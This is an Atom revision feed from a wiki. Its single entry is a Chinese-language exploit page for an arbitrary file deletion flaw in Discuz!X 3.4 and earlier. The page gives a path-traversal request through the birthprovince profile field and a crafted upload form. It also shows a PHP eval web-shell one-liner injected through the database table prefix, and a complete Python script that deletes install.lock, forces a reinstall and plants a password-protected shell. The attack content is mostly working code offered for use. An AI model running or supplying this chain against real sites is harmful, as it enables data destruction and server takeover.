<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Discuz%21X_%E2%89%A43.4_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%AA%E9%99%A4%E6%BC%8F%E6%B4%9E</id>
	<title>Discuz!X ≤3.4 任意文件刪除漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Discuz%21X_%E2%89%A43.4_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%AA%E9%99%A4%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Discuz!X_%E2%89%A43.4_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%AA%E9%99%A4%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T15:46:53Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Discuz!X_%E2%89%A43.4_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%AA%E9%99%A4%E6%BC%8F%E6%B4%9E&amp;diff=129&amp;oldid=prev</id>
		<title>Pwnwiki: 建立內容為「==獲得用戶Hash== 在個人資料頁面 -&gt; 審查元素 -&gt; 搜索formhash 400px ==漏洞利用== 發送請求（XXXXXX表示Hash）  &lt;pre&gt;…」的新頁面</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Discuz!X_%E2%89%A43.4_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%AA%E9%99%A4%E6%BC%8F%E6%B4%9E&amp;diff=129&amp;oldid=prev"/>
		<updated>2021-03-02T13:28:14Z</updated>

		<summary type="html">&lt;p&gt;建立內容為「==獲得用戶Hash== 在個人資料頁面 -&amp;gt; 審查元素 -&amp;gt; 搜索formhash &lt;a href=&quot;/index.php?title=%E6%AA%94%E6%A1%88:Dz1.jpg&amp;amp;action=edit&amp;amp;redlink=1&quot; class=&quot;new&quot; title=&quot;檔案:Dz1.jpg (page does not exist)&quot;&gt;400px&lt;/a&gt; ==漏洞利用== 發送請求（XXXXXX表示Hash）  &amp;lt;pre&amp;gt;…」的新頁面&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==獲得用戶Hash==&lt;br /&gt;
在個人資料頁面 -&amp;gt; 審查元素 -&amp;gt; 搜索formhash&lt;br /&gt;
[[檔案:Dz1.jpg |400px]]&lt;br /&gt;
==漏洞利用==&lt;br /&gt;
發送請求（XXXXXX表示Hash）&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
home.php?mod=spacecp&amp;amp;ac=profile&amp;amp;op=base&lt;br /&gt;
POST birthprovince=../../../test.txt&amp;amp;profilesubmit=1&amp;amp;formhash=XXXXXX&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*也可以使用Burp抓包，在birthprovince處加入&amp;lt;code&amp;gt;../../../test.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
修改成功之後出生地就會變為&amp;lt;code&amp;gt;../../../test.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
[[檔案:Dz2.jpg |400px]]&lt;br /&gt;
&lt;br /&gt;
構造表單：&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;form action=&amp;quot;http://192.168.1.101/upload/home.php?mod=spacecp&amp;amp;ac=profile&amp;amp;op=base&amp;quot; method=&amp;quot;POST&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;birthprovince&amp;quot; value=&amp;quot;../../../theTestFile.txt&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;formhash&amp;quot; value=&amp;quot;XXXXXX&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;profilesubmit&amp;quot; value=&amp;quot;1&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Submit&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/from&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
選擇隨便一張圖片上傳，點擊submit，可以發現原本的theTestFile.txt已經被刪除。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Getshell==&lt;br /&gt;
首先構造payload刪除&amp;lt;code&amp;gt;install.lock&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[檔案:Dz3.jpg |400px]]&lt;br /&gt;
&lt;br /&gt;
如果用戶沒有刪除 install 目錄，而且我們也可以利用文件刪除漏洞的話，我們就可以刪掉這個 instal.lock，然後重新安裝 Discuz。而重裝過程中一般都有寫配置文件的步驟，可能會給我們寫入一句話的機會。&lt;br /&gt;
&lt;br /&gt;
[[檔案:Dz4.jpg |400px]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x');@eval($_POST[pwd]);('&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;config/uc_config.php&amp;lt;/code&amp;gt;文件中將存在一句話木馬。&lt;br /&gt;
&lt;br /&gt;
==Getshell EXP==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import base64&lt;br /&gt;
import random&lt;br /&gt;
import re&lt;br /&gt;
import string&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
&lt;br /&gt;
sess = requests.Session()&lt;br /&gt;
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))&lt;br /&gt;
&lt;br /&gt;
##################################################&lt;br /&gt;
########## Customize these parameters ############&lt;br /&gt;
target = 'http://localhost/discuzx'&lt;br /&gt;
&lt;br /&gt;
# login target site first, and copy the cookie here&lt;br /&gt;
&lt;br /&gt;
cookie = &amp;quot;UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode&amp;quot;&lt;br /&gt;
shell_password = randstr()&lt;br /&gt;
db_host = ''&lt;br /&gt;
db_user = ''&lt;br /&gt;
db_pw = ''&lt;br /&gt;
db_name = ''&lt;br /&gt;
#################################################&lt;br /&gt;
&lt;br /&gt;
path = '/home.php?mod=spacecp&amp;amp;ac=profile&amp;amp;op=base'&lt;br /&gt;
url = target + path&lt;br /&gt;
&lt;br /&gt;
sess.headers.update({&lt;br /&gt;
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',&lt;br /&gt;
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',&lt;br /&gt;
    'Referer': url})&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# sess.proxies.update({'http': 'socks5://localhost:1080'})&lt;br /&gt;
&lt;br /&gt;
# sess.proxies.update({'http': 'http://localhost:8080'})&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def login(username=None, password=None):&lt;br /&gt;
    sess.headers.update({'Cookie': cookie})&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def get_form_hash():&lt;br /&gt;
    r = sess.get(url)&lt;br /&gt;
    match = re.search(r'&amp;quot;member.php\?mod=logging&amp;amp;amp;action=logout&amp;amp;amp;formhash=(.*?)&amp;quot;', r.text, re.I)&lt;br /&gt;
    if match:&lt;br /&gt;
        return match.group(1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def tamper(formhash, file_to_delete):&lt;br /&gt;
    data = {&lt;br /&gt;
        'formhash': (None, formhash),&lt;br /&gt;
        'profilesubmit': (None, 'true'),&lt;br /&gt;
        'birthprovince': (None, file_to_delete)&lt;br /&gt;
    }&lt;br /&gt;
    r = sess.post(url, files=data)&lt;br /&gt;
    if 'parent.show_success' in r.text:&lt;br /&gt;
        print('tamperred successfully')&lt;br /&gt;
        return True&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def delete(formhash, file):&lt;br /&gt;
    if not tamper(formhash, file):&lt;br /&gt;
        return False&lt;br /&gt;
&lt;br /&gt;
    image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='&lt;br /&gt;
    data = {&lt;br /&gt;
        'formhash': formhash,&lt;br /&gt;
        'profilesubmit': 'true'&lt;br /&gt;
    }&lt;br /&gt;
    files = {&lt;br /&gt;
        'birthprovince': ('image.png', base64.b64decode(image), 'image/png')&lt;br /&gt;
    }&lt;br /&gt;
    r = sess.post(url, data=data, files=files)&lt;br /&gt;
    if 'parent.show_success' in r.text:&lt;br /&gt;
        print('delete {} successfully'.format(file))&lt;br /&gt;
        return True&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def getshell():&lt;br /&gt;
    install_url = target + '/install/index.php'&lt;br /&gt;
    r = sess.get(install_url)&lt;br /&gt;
    if '安装向导' not in r.text:&lt;br /&gt;
        print('install directory not exists')&lt;br /&gt;
        return False&lt;br /&gt;
&lt;br /&gt;
    table_prefix = &amp;quot;x');@eval($_POST[{}]);('&amp;quot;.format(shell_password)&lt;br /&gt;
    data = {&lt;br /&gt;
        'step': 3,&lt;br /&gt;
        'install_ucenter': 'yes',&lt;br /&gt;
        'dbinfo[dbhost]': db_host,&lt;br /&gt;
        'dbinfo[dbname]': db_name,&lt;br /&gt;
        'dbinfo[dbuser]': db_user,&lt;br /&gt;
        'dbinfo[dbpw]': db_pw,&lt;br /&gt;
        'dbinfo[tablepre]': table_prefix,&lt;br /&gt;
        'dbinfo[adminemail]': 'admin@admin.com',&lt;br /&gt;
        'admininfo[username]': 'admin',&lt;br /&gt;
        'admininfo[password]': 'admin',&lt;br /&gt;
        'admininfo[password2]': 'admin',&lt;br /&gt;
        'admininfo[email]': 'admin@admin.com',&lt;br /&gt;
    }&lt;br /&gt;
    r = sess.post(install_url, data=data)&lt;br /&gt;
    if '建立数据表 CREATE TABLE' not in r.text:&lt;br /&gt;
        print('write shell failed')&lt;br /&gt;
        return False&lt;br /&gt;
    print('shell: {}/config/config_ucenter.php'.format(target))&lt;br /&gt;
    print('password: {}'.format(shell_password))&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    login()&lt;br /&gt;
    form_hash = get_form_hash()&lt;br /&gt;
    if form_hash:&lt;br /&gt;
        delete(form_hash, '../../../data/install.lock')&lt;br /&gt;
        getshell()&lt;br /&gt;
    else:&lt;br /&gt;
        print('failed')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==參考==&lt;br /&gt;
https://fafe.me/2017/10/02/discuz-getshell/&lt;br /&gt;
https://chybeta.github.io/2017/10/15/DiscuzX-v3-4-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%A0%E9%99%A4%E6%BC%8F%E6%B4%9E/&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>